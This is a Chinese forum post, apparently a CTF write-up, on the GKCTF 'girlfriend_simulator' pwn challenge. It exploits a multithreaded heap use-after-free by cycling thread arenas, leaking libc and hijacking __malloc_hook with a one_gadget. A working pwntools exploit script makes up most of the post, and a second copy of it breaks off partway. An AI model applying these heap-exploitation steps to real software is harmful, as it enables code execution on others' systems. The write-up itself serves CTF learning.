首页
社区
课程
招聘
[原创]GKCTF-girlfriend_simulator 多线程+堆
发表于: 2020-10-20 16:42 7757

[原创]GKCTF-girlfriend_simulator 多线程+堆

2020-10-20 16:42
7757

一道多线程+堆pwn。

线程函数中是一个有UAF的菜单堆,但是限制了利用次数,难以在一个子线程中完成全部利用。
图片描述
并且当到达最后一个线程时,可以泄露libc基地址。
图片描述

当线程函数结束后,可以对最后一个申请的chunk做一次0x10的任意写。如果最后一个申请的chunk为free状态,那么就可以通过这里来劫持他的fd指针。但需要注意的是,这一个过程是发生在主线程的arena中的
图片描述

当所有子线程结束后有3次malloc的机会,并且前两次都可以写。利用这个来打one_gadget
图片描述
图片描述
图片描述

1.利用泄露的堆地址探测什么时候到达主线程的main_arena。(因为arena是个循环链表)

arena结构如下:

可以看看俺的这篇文章。
main_arena

2.在到达主线程的arena时放掉chunk,留下bss上的指针,拿到libc基地址。

3.利用线程结束后的任意写,改fastbin中chunk的fd为malloc_hook-0x23(此时在main_arena中),然后用realloc+one_gadget即可getshell。

其中detect_if_thread_main()是用来探测此时是否在主线程的分配区中,注意他输出的是上一个线程的堆地址。(经测试,第9个线程的arena循环到main_arena中)

 
 
 
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./girlfriend_simulator"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='>>'      # choice提示语
siz='size?'     # size输入提示语
con='content:'         # content输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sa(con,content)
def free(c='2'):
    sal(cho,c)
def show(c='3'):
    sal(cho,c)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def detect_if_thread_main():
    # 管理结构:bss_table[] -> chunk_info(0x10大小) -> chunk
 
    add(0x10,'a'*8)   # 此时开了一个0x10的chunk_info和一个0x10的chunk
    free()            # 释放0x10的chunk到子线程的bins里
    add(0x10,'b'*8)   # 再申请0x10,此时把之前的chunk申请回来作为chunk_info2
    show()            # 泄露上一chunk info中uaf的上一chunk地址。
    ru('b'*8)
    heap = u64(r(8))
    success("last:"+hex(heap))
    sal(cho,'5')
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    ru("How much girlfriend you want ?")
    sl(str(9))
    for i in range(8):
        detect_if_thread_main()
 
    # 经过探测在第九次时到达主线程的main_arena
    # 接下来的操作均在主线程的main_arena中
    add(0x68,'a'*0x10)
    free()
    sal(cho,'5')
    ru("wife:")
    libc.address =int(r(len('0x7ffff7bb5620')),16)-libc.sym['_IO_2_1_stdout_']
    success("libc:"+hex(libc.address))
 
    malloc_hook = libc.sym['__malloc_hook']
    realloc = libc.address+(0x7ffff7874710-0x7ffff77f0000)
    ogg = libc.address+0x4527a
    success("one_gadget:"+hex(ogg))
    success("mallochook:"+hex(malloc_hook))
    success("realloc:"+hex(realloc))
 
 
    ru("say something to impress your girlfriend")
    s(p64(malloc_hook-0x23))
    ru("your girlfriend is moved by your words")
    sl("???")
    pause()
    ru("Questionnaire")
    s('\x00'*11+p64(ogg)+p64(realloc+4))
 
    shell()
 
exp()
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./girlfriend_simulator"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='>>'      # choice提示语
siz='size?'     # size输入提示语
con='content:'         # content输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sa(con,content)
def free(c='2'):
    sal(cho,c)
def show(c='3'):
    sal(cho,c)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//